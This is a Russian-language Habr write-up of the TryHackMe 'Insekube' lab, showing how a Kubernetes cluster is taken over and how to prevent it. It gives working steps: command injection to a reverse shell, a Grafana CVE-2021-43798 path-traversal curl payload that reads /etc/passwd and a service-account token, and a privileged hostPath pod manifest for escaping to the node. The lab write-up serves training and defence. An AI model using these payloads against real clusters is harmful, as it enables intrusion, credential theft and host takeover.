Атакуем кластер Kubernetes. Разбор Insekube c TryHackme

от автора

Всем привет! В этой статье, на примере машины Insekube с TryHackme, я постараюсь показать каким образом могут быть захвачены кластера Kubernetes реальными злоумышленниками, а также рассмотрю возможные методы защиты от этого. Приятного прочтения!

Ищем точку входа

Расчехляем nmap:

nmap 10.10.221.142  Starting Nmap 7.60 ( https://nmap.org ) at 2022-06-07 17:08 BST Nmap scan report for ip-10-10-221-142.eu-west-1.compute.internal (10.10.221.142) Host is up (0.0015s latency). Not shown: 998 closed ports PORT   STATE SERVICE 22/tcp open  ssh 80/tcp open  http MAC Address: 02:BF:D5:06:FF:D9 (Unknown)  Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

Опираясь на название и описание тачки хотелось бы увидеть какие-нибудь порты Kubernetes, но видим торчащий наружу 80 порт. Окей, открываем адрес в браузере.

Пробуем подать какой-нибудь инпут и понимаем, что это обычный ping.

Судя по ответу, где-то исполняется реалная тулза ping. Тут же приходит идея проверить ввод на command injection – действительно работает!

Недолго думая, прокидываем reverse shell и ловим бэк-коннект:

nc -nlvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 10.10.221.142 57278 received! /bin/sh: 0: can't access tty; job control turned off $ id     uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)

Внутри контейнера

Отлично, мы внутри. Только вот внутри чего? Посмотрим переменные окружения. Видим хорошо знакомые значения для Kubernetes – отсюда делаем вывод: мы внутри Pod! Из env забираем первый флаг.

$ env KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.96.0.1:443 HOSTNAME=syringe-79b66d66d7-7mxhd ...

Внутри самого Pod для нас мало чего интересного, но у него может быть привилегированный Service Account, который может дать нам больше возможностей – например создавать такие Pod, чтобы можно было сделать побег из контейнера и вырваться на хост. Для того чтобы это проверить нам нужен kubectl. Посмотрим, есть ли он где нибудь в контейнере, вдруг не придется его скачивать его извне.

find / -name "kubectl" find: '/etc/ssl/private': Permission denied find: '/var/lib/apt/lists/partial': Permission denied find: '/var/cache/apt/archives/partial': Permission denied find: '/var/cache/ldconfig': Permission denied find: '/proc/tty/driver': Permission denied /tmp/kubectl

Отлично! То что нам нужно. Кто-то бережно оставил kubectl для нас в директории /tmp Проверим, достаточно ли у нас прав для создания нового Pod:

$ cd /tmp $ ls kubectl $ ./kubectl auth can-i create pods no

Да уж, не густо. Но смотреть Secrets мы можем. Там же лежит второй флаг. Будем искать другой вектор.

$ ./kubectl get secrets NAME                    TYPE                                  DATA default-token-8bksk     kubernetes.io/service-account-token   3 developer-token-74lck   kubernetes.io/service-account-token   3 secretflag              Opaque                                1 syringe-token-g85mg     kubernetes.io/service-account-token   3

Особо внимательные, при просмотре env, увидели, что там также хранятся переменные от Grafana – адрес и порт. Это значит, что она развернута в кластере и мы можем попробовать достучаться до неё из Pod! В контейнере также есть curl, который облегчит нам эту задачу. Пробуем постучаться на стандартный эндпоинт Grafana:

curl 10.108.133.228:3000/login

Получаем довольно большой ответ… Для начала неплохо было бы определить версию Grafana, может она устаревшая и для неё есть известные уязвимости. В начале ответа видим упоминание версии:

..."version":"8.3.0-beta2"...

По первой ссылке в гугле находим, что для этой версии присвоена CVE-2021-43798 – Grafana 8.x Path Traversal (Pre-Auth). Супер! Как нам это может быть полезно? Мы сможем прочитать Token, который относится к Service Account у Grafana Pod – он маунтится прямо внутрь контейнера. Если у этого Pod есть достаточно привилегированный Service Account, то мы сможем создать «Bad Pod» для побега на хост!

Формируем запрос с полезной нагрузкой, таким образом чтобы отработал path traversal. Не забываем выставить флаг --path-as-is, чтобы curl не схлопывал наш пэйлоад:

curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../etc/passwd   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                  Dload  Upload   Total   Spent    Left  Speed 100  1230  100  1230    0     0   600k      0 --:--:-- --:--:-- --:--:--  600k root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin ...

Работает! Теперь указываем путь до Token (он лежит в /var/run/secrets/kubernetes.io/serviceaccount/token) и сохраняем ответ:

curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                  Dload  Upload   Total   Spent    Left  Speed 100  1022  100  1022    0     0   499k      0 --:--:-- --:--:-- --:--:--  499k eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg2MTU5NjAzLCJpYXQiOjE2NTQ2MjM2MDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZX
export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUt...

Ещё раз проверим возможность создавать Pod, на этот раз через новый Service Account:

$ ./kubectl auth can-i create pods --token=$TOKEN yes

Отлично. Создаем «Bad Pod» для побега на хост:

cat <<EOF | ./kubectl create --token=$TOKEN -f - apiVersion: v1 kind: Pod metadata:   name: everything-allowed-exec-pod   labels:     app: pentest spec:   hostNetwork: true   hostPID: true   hostIPC: true   containers:   - name: everything-allowed-pod     image: ubuntu     securityContext:       privileged: true     volumeMounts:     - mountPath: /host       name: noderoot     command: [ "/bin/sh", "-c", "--" ]     args: [ "while true; do sleep 30; done;" ]   volumes:   - name: noderoot     hostPath:       path: / EOF

Посмотрим, создался ли Pod:

$ ./kubectl get po --token=$TOKEN NAME                          READY   STATUS         RESTARTS        AGE everything-allowed-exec-pod   0/1     ErrImagePull   0               29s grafana-57454c95cb-v4nrk      1/1     Running        10 (127d ago)   151d syringe-79b66d66d7-7mxhd      1/1     Running        1 (127d ago)    127d

Но не всё так просто! Pod не запустился – не спуллился образ. Видимо кластер изолирован по сети. Но если образ уже ранее использовался и скачивался, то мы можем попытать удачу и выставить imagePullPolicy: IfNotPresent

... containers:   - name: everything-allowed-pod     image: ubuntu     imagePullPolicy: IfNotPresent ...

На этот раз сработало. Заходим в Pod –> оказываемся на хосте –> находим последний флаг:

$ ./kubectl get po --token=$TOKEN NAME                          READY   STATUS    RESTARTS        AGE everything-allowed-exec-pod   1/1     Running   0               12s grafana-57454c95cb-v4nrk      1/1     Running   10 (127d ago)   151d syringe-79b66d66d7-7mxhd      1/1     Running   1 (127d ago)    127d $ ./kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- bash Unable to use a TTY - input is not a terminal or the right kind of file id uid=0(root) gid=0(root) groups=0(root)

Как этого можно было избежать?

  • Network Policy – сетевые политики смогли бы ограничить общение контейнеров по сети. Например можно написать такую политику, которая запретит стучаться из Pod с веб-приложением в Pod с Grafana

  • Policy engine – имея правило на запрет создания привилегированных Pod, от Kyverno или Gatekeeper, у злоумышленника и вовсе не получилось бы сбежать на хост. Запрос не прошел бы через webhook

  • Runtime observability & security – знание и полная видимость происходящего в кластере позволили бы заметить и остановить злоумышленника ещё в начале атаки

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Про что рассказать в следующей статье?
50% Network Polciy 6
8.33% Policy engine 1
25% Observability tools 3
16.67% Сканеры на уязвимости 2
0% Security tools 0
Проголосовали 12 пользователей. Воздержавшихся нет.

ссылка на оригинал статьи https://habr.com/ru/post/670172/